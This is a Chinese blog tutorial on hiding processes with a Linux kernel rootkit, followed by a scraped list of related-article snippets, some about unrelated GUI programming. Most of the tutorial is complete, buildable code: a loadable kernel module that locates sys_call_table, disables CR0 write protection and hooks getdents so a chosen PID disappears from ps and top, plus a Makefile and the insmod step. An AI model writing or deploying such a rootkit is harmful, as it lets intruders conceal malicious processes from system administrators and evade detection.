Rootkit---进程隐藏

article/2025/9/23 11:31:15

测试环境:
Ubuntu18.04
内核版本:4.15.0

有的内核版本函数不一定都相同,有的修改的程度比较大,需要下载内核源码去看。
Linux内核源码:https://mirrors.edge.kernel.org/pub/linux/kernel/v4.x/

  1. 使用strace ps命令查看系统调用链,可以看到调用了很多函数。
    2.
  2. 在末尾会调用getdents函数(系统调用getdents()从打开文件描述符fd所引用的目录中读取几个linux_dirent结构到dirp所指向的缓冲区中。参数count指定该缓冲区的大小)。
    在这里插入图片描述
  3. 也可以举一反三,hook openat函数,修改第二个参数pathname("/proc/4251/stat"),就看如何实现了。

getdents系统调用链:

  1. getdents系统调用的定义,可以发现filldir函数作为回调函数,filldir用于把一项记录(如一个目录下的文件或目录)填到返回的缓冲区里。但是从这里看不出哪里调用了filldir,形成不了调用链。
    在这里插入图片描述
  2. 跟进iterate_dir函数。
    在这里插入图片描述
  3. 可以看到这只是一个file_operations结构体中结构体指针,也就是说会有其他地方会对该指针赋值并调用。
    在这里插入图片描述
  4. 通过搜索可以发现,很多地方都使用了file_operations结构体。
    在这里插入图片描述
  5. 以adfs为例,可以看到dir_emit调用了ctx。
    在这里插入图片描述
  6. 可以看到dir_emit调用了actor,也就是前面的filldir。
    在这里插入图片描述
  7. filldir函数:
    在这里插入图片描述
  8. 这样就形成了一条调用链。所以从这看,不管是hook getdents,还是filldir都是可以的。

HOOK getdents:
目的:隐藏top进程。

  1. 使用top命令创建一个top进程,PID号34519。
    在这里插入图片描述
  2. 加载内核驱动。
sudo insmod procHide.ko
  1. 要隐藏的进程就不见了。
    在这里插入图片描述
  2. 源码:
#include <linux/sched.h>
#include <linux/module.h>
#include <linux/syscalls.h>
#include <linux/dirent.h>
#include <linux/slab.h>
#include <linux/version.h> 
#include <linux/fdtable.h>
#include <linux/proc_ns.h>#ifndef __NR_getdents
#define __NR_getdents 141
#endifpid_t PID = 34519; // 要隐藏的pid号struct linux_dirent {unsigned long   d_ino;unsigned long   d_off;unsigned short  d_reclen;char            d_name[1];
};#define PF_INVISIBLE 0x10000000unsigned long cr0;static unsigned long *__sys_call_table;typedef asmlinkage int (*orig_getdents_t)(unsigned int, struct linux_dirent *,unsigned int);
orig_getdents_t orig_getdents;/*获取sys_call_table地址*/
unsigned long *get_syscall_table_bf(void)
{unsigned long *syscall_table;syscall_table = (unsigned long*)kallsyms_lookup_name("sys_call_table");return syscall_table;
}struct task_struct *find_task(pid_t pid)
{struct task_struct *p = current;for_each_process(p) {if (p->pid == pid)return p;}return NULL;
}/*遍历需要隐藏的进程*/
static int is_invisible(pid_t pid)
{struct task_struct *task;if (!pid)return 0;task = find_task(pid);if (!task)return 0;if (task->flags & PF_INVISIBLE)return 1;return 0;
}asmlinkage int hacked_getdents(unsigned int fd, struct linux_dirent __user *dirent,unsigned int count)
{int ret = orig_getdents(fd, dirent, count); //调用sys_getdents,返回该目录文件下目录的总字节数int	err;unsigned long off = 0;struct linux_dirent *dir, *kdirent, *prev = NULL;if (ret <= 0)return ret;	/*创建内存,类似malloc*/kdirent = kzalloc(ret, GFP_KERNEL);if (kdirent == NULL)return ret;/*从用户层拷贝数据到内核层*/err = copy_from_user(kdirent, dirent, ret);if (err)goto out;while (off < ret) {dir = (void *)kdirent + off; // 逐个获取linux_dirent结构体数据if (is_invisible(simple_strtoul(dir->d_name, NULL, 10))) {/*如果是第一个数据块,则直接覆盖第一个块*/if (dir == kdirent) {ret -= dir->d_reclen;memmove(dir, (void *)dir + dir->d_reclen, ret);continue;}/*上一个进程数据的长度+=当前进程数据的长度通过这种方式可以隐藏进程*/prev->d_reclen += dir->d_reclen;}elseprev = dir;off += dir->d_reclen;}/*从内核层拷贝数据到用户层*/err = copy_to_user(dirent, kdirent, ret);if (err)goto out;
out:kfree(kdirent);return ret;
}/*通过设置flags位来查看是否是我们需要隐藏的进程*/
static inline void set_flags(pid_t pid)
{struct task_struct *task;if ((task = find_task(pid)) == NULL)return;/*判断是否已经修改过flags*/if(task->flags < PF_INVISIBLE)task->flags ^= PF_INVISIBLE;
}static inline void protect_memory(void)
{/*恢复cr0寄存器*/write_cr0(cr0);
}static inline void unprotect_memory(void)
{/*将常量保护标记位去掉,变成可写*/write_cr0(cr0 & ~0x00010000);
}static int __init diamorphine_init(void)
{__sys_call_table = get_syscall_table_bf();if (!__sys_call_table)return -1;/*获取cr0寄存器的数据*/cr0 = read_cr0();/*保存原本的getdents的地址*/orig_getdents = (orig_getdents_t)__sys_call_table[__NR_getdents];unprotect_memory();/*替换原本的getdents的地址为我们构造的函数地址*/__sys_call_table[__NR_getdents] = (unsigned long) hacked_getdents;protect_memory();set_flags(PID);return 0;
}static void __exit diamorphine_cleanup(void)
{unprotect_memory();__sys_call_table[__NR_getdents] = (unsigned long) orig_getdents;protect_memory();
}module_init(diamorphine_init);
module_exit(diamorphine_cleanup);MODULE_LICENSE("Dual BSD/GPL");
MODULE_AUTHOR("lkm");
MODULE_DESCRIPTION("LKM rootkit");
  1. 下面这个方式是4.4.0内核版本以上,5.7.0内核版本以下。其他版本有其他版本的方式获取sys_call_table。参考:https://blog.csdn.net/q759451733/article/details/124105195
/*获取sys_call_table地址*/
unsigned long *get_syscall_table_bf(void)
{unsigned long *syscall_table;syscall_table = (unsigned long*)kallsyms_lookup_name("sys_call_table");return syscall_table;
}
  1. 因为sys_call_table的数组是只读类型的,所以其值是不可以修改的,因此我们需要将只读保护位去掉。cr0中有一个WP位,wp位0禁止写保护实模式。wp为1开启写保护 保护模式。
static inline void protect_memory(void)
{write_cr0(cr0);
}static inline void unprotect_memory(void)
{write_cr0(cr0 & ~0x00010000);
}
  1. Makefile
KVERS = $(shell uname -r)obj-m += procHide.obuild: kernel_moduleskernel_modules:make -C /lib/modules/$(KVERS)/build M=$(CURDIR) modulesclean:make -C /lib/modules/$(KVERS)/build M=$(CURDIR) clean

防御方法(个人认为是实现反防御,只要hook让对方的读写或者hook内核驱动,使其初始化函数失效即可,只要rootkit做的够绝,只能重装系统):
chrome-extension://ibllepbpahcoppkjjllbabhnigcbffpi/http://netinfo-security.org/EN/article/downloadArticleFile.do?attachType=PDF&id=7141

参考:
http://blog.chinaunix.net/uid-27189249-id-5783314.html
https://www.cnblogs.com/justcxtoworld/archive/2013/05/01/3053508.html
https://blog.csdn.net/kwame211/article/details/77531748
https://www.onitroad.com/jc/linux/man-pages/linux/man2/getdents.2.html
https://wohin.me/linux-rootkit-shi-yan-00022-rootkit-ji-ben-gong-neng-shi-xian-xyin-cang-wen-jian/
https://www.anquanke.com/post/id/195318#h2-2


http://chatgpt.dhexx.cn/article/BeRCUe9a.shtml

相关文章

Linux Rootkit系列三:实例详解 Rootkit 必备的基本功能

前言 鉴于笔者知识能力上的不足&#xff0c;如有疏忽&#xff0c;欢迎纠正。 本文所需的完整代码位于笔者的代码仓库&#xff1a;https://github.com/NoviceLive/research-rootkit。 测试建议&#xff1a; 不要在物理机测试&#xff01;不要在物理机测试&#xff01; 不要在物…

Rootkit演变

Rootkit 概述 我第一次接触rootkit是在2004年&#xff0c;当时我还是一个rookie病毒分析师&#xff0c;具备一定的关于UNIX的 rootkit病毒的相关知识。有一天我无意中发现windows系统中的一个可执行程序&#xff0c;在我登录这个程序的时候&#xff0c;windows系统似乎没有做出…

Rootkit 后门的利用

Ev:Rootkit后门的利用-网络安全文档类资源-CSDN下载 1.通过本地 PC 中渗透测试平台 Kali 对服务器场景进行系统服务及版本扫描 渗透测试&#xff0c;并将该操作显示结果中 SSH 服务版本信息字符串作为 FLAG 提交&#xff1b; 2.通过本地 PC 中渗透测试平台 Kali 对服务器场景…

Rootkit检测技术发展现状

Rootkit 这一概念最早出现于上个世纪九十年代初期&#xff0c;CERT Coordination Center(CERT/CC) 于1994年在 CA-1994-01 这篇安全咨询报告中使用了 Rootkit 这个词汇。在这之后 Rootkit 技术发展迅速&#xff0c;这种快速发展的态势在 2000 年达到了顶峰。2000年后&#xff0…

rkhunter(Rootkit猎手)安装使用

一、rkhunter简介&#xff1a; 1、中文名叫”Rootkit猎手”, rkhunter是Linux系统平台下的一款开源入侵检测工具&#xff0c;具有非常全面的扫描范围&#xff0c;除了能够检测各种已知的rootkit特征码以外&#xff0c;还支持端口扫描、常用程序文件的变动情况检查。 2、root…

rootkit技术

rootkit的主要分类&#xff1a; 应用级->内核级->硬件级 早期的rootkit主要为应用级rootkit&#xff0c;应用级rootkit主要通过替换login、ps、ls、netstat等系统工具&#xff0c;或修改.rhosts等系统配置文件等实现隐藏及后门&#xff1b;硬件级rootkit主要指bios roo…

rootkit概述

这个是摘自微信公众号里面的文章&#xff1b; rootkit是一个复合词&#xff0c;由root和kit两个词组成。root是用来描述具有计算机最高权限的用户。另一方面&#xff0c;kit被Merrian-Webster定义为工具和实现的集合。因此&#xff0c;rootkit是一组能获得计算机系统root或者管…

什么是 Rootkit?

Rootkit定义 常见的rootkit定义是一种恶意软件程序&#xff0c;它使网络犯罪分子能够在不被检测到的情况下访问和渗透计算机中的数据。 它涵盖了旨在感染计算机&#xff0c;为攻击者提供远程控制并长时间保持隐藏的软件工具箱。因此&#xff0c;Rootkit是最难发现和删除的恶意…

Java-GUI快速入门

目录 1.GUI的介绍 1.1GUI概述 1.2Java提供了三个主要包做GUI开发&#xff1a; 2.Swing组件 2.1顶层容器介绍 2.2中间容器 2.3基本组件 3.API介绍 3.1Jframe组件 3.2Panel组件 3.3功能组件 4.案例代码 4.1UI介绍 4.2代码 5.插件介绍WindowBuilder 5.1搜索Window…

Python GUI 开发工具

Python Tkinter教程&#xff08;GUI图形界面开发教程&#xff09;&#xff1a;http://c.biancheng.net/python/tkinter/ PyQt5教程&#xff1a;http://code.py40.com/face 作为 Pyhon 开发者&#xff0c;我们迟早都会碰到 图形用户界面&#xff08;GUI&#xff09;应用 开发任…

GUI基础知识

GUI编程 1&#xff0c;简介 图形用户界面,Graphical User Interface,又称图形用户接口&#xff0c;是指采用图形方式显示的计算机操作用户界面。GUI的核心技术&#xff1a;AWT,Swing 2&#xff0c;Awt 2.1 AWT简介 AWT:Abstract Window Toolkit,抽象窗口工具包&#xff0c…

Java——GUI编程

GUI编程 1、简介2、AWT&#xff08;抽象的窗口工具&#xff09;AWT简介1、Frame的使用&#xff1a;2、面板 panel3、布局管理器3.1 流式布局3.2 东西南北中3.3 表格布局 4、事件监听5、文本框&#xff08;TextField&#xff09;的监听6、制作简易计算器7、画笔8、鼠标监听9、窗…

GUI编程详解

1.简介 GUI的核心技术&#xff1a;Swing AWT GUI缺点&#xff1a; 1. 界面不美观2. 需要jre环境为什么要学习GUI&#xff1f; 可以写出自己想要的工具。实际工作中可能需要维护swing界面了解MVC和监听。 2.AWT 2.1相关知识 介绍&#xff1a; 包含了很多类和接口。用于图形…

python GUI入门(一入门介绍)

CUI: 命令行界面&#xff0c;conmmand line user Interface GUI: Graphical User Interface 1、python常用的主要跨平台图形用户界面库 1.1 Tkinter python自带的GUT库&#xff0c;“官方支持”&#xff0c;无须进行额外的下载安装&#xff0c;只要导入tkinter包即可使用。 …

GUI系统

1.gui概念 2.OSD实现 1.概念 OSD是on-screen display的简称&#xff0c;即屏幕菜单式调节方式。一般是按Menu键后屏幕弹出的显示器各项调节项目信息的矩形菜单&#xff0c;可通过该菜单对显示器各项工作指标包括色彩、模式、几何形状等进行调整&#xff0c;从而达到最佳的使用…

Python之GUI编程

一、常用的GUI库 Tkinter&#xff1a;tkinter&#xff08;Tk interface&#xff09;是Python的标准GUI库&#xff0c;支持跨平台的GUI程序开发&#xff0c;tkinter适合小型的GUI程序编写&#xff0c;也特别适合初学者学习GUI编程。wxPython&#xff1a;wxPython是比较流行的GU…

快速入门GUI-guider

快速入门GUI-guider&#xff08;本教程基于LVGL-v8.20&#xff09; 前言一、什么是GUI Guider&#xff1f;二、使用教程1.下载软件2.熟悉LVGL各种组件3.新建工程4.上手体验5.代码移植 完结撒花 前言 本教程要基于有移植好的LVGL—8.2.0的代码为基础&#xff0c;对于不懂怎么移…

Python-GUI界面设计(tkinter)

文章目录 前言一、函数方法二、导入三、窗口[1]. 创建[2]. 标题[3]. 大小[4]. 背景[5]. 删除 四、按钮[1]. 创建[2]. 放置&#xff08;绝对位置&#xff09;[3]. 放置&#xff08;相对位置&#xff09;[4]. 代码 五、单行文本[1]. 创建[2]. 代码 六、多行文本[1]. 创建[2]. 获取…

GUI编程

一&#xff0c;简介 GUI编程(Graphical User Interface)&#xff0c;即用户图形界面编程。 GUI淘汰原因&#xff1a;界面不够美观&#xff0c;需要jre环境。 学习GUI的好处&#xff1a;1&#xff0c;为后期学习MVC架构打好基础&#xff1b;2&#xff0c;了解监听&#xff1b;3&…

[java/初学者/GUI编程]GUI界面设计——界面组件类

前言 GUI&#xff0c;即图形用户界面&#xff0c;其英文全称是Graphics User Interface。 它是基于图形的界面,windows就是一个图形用户界面的操作系统,而DOS是基于命令提示符的操作系统,GUI编程就是编出一个图形用户界面的软件&#xff0c;它使用图形的方式&#xff0c;以菜…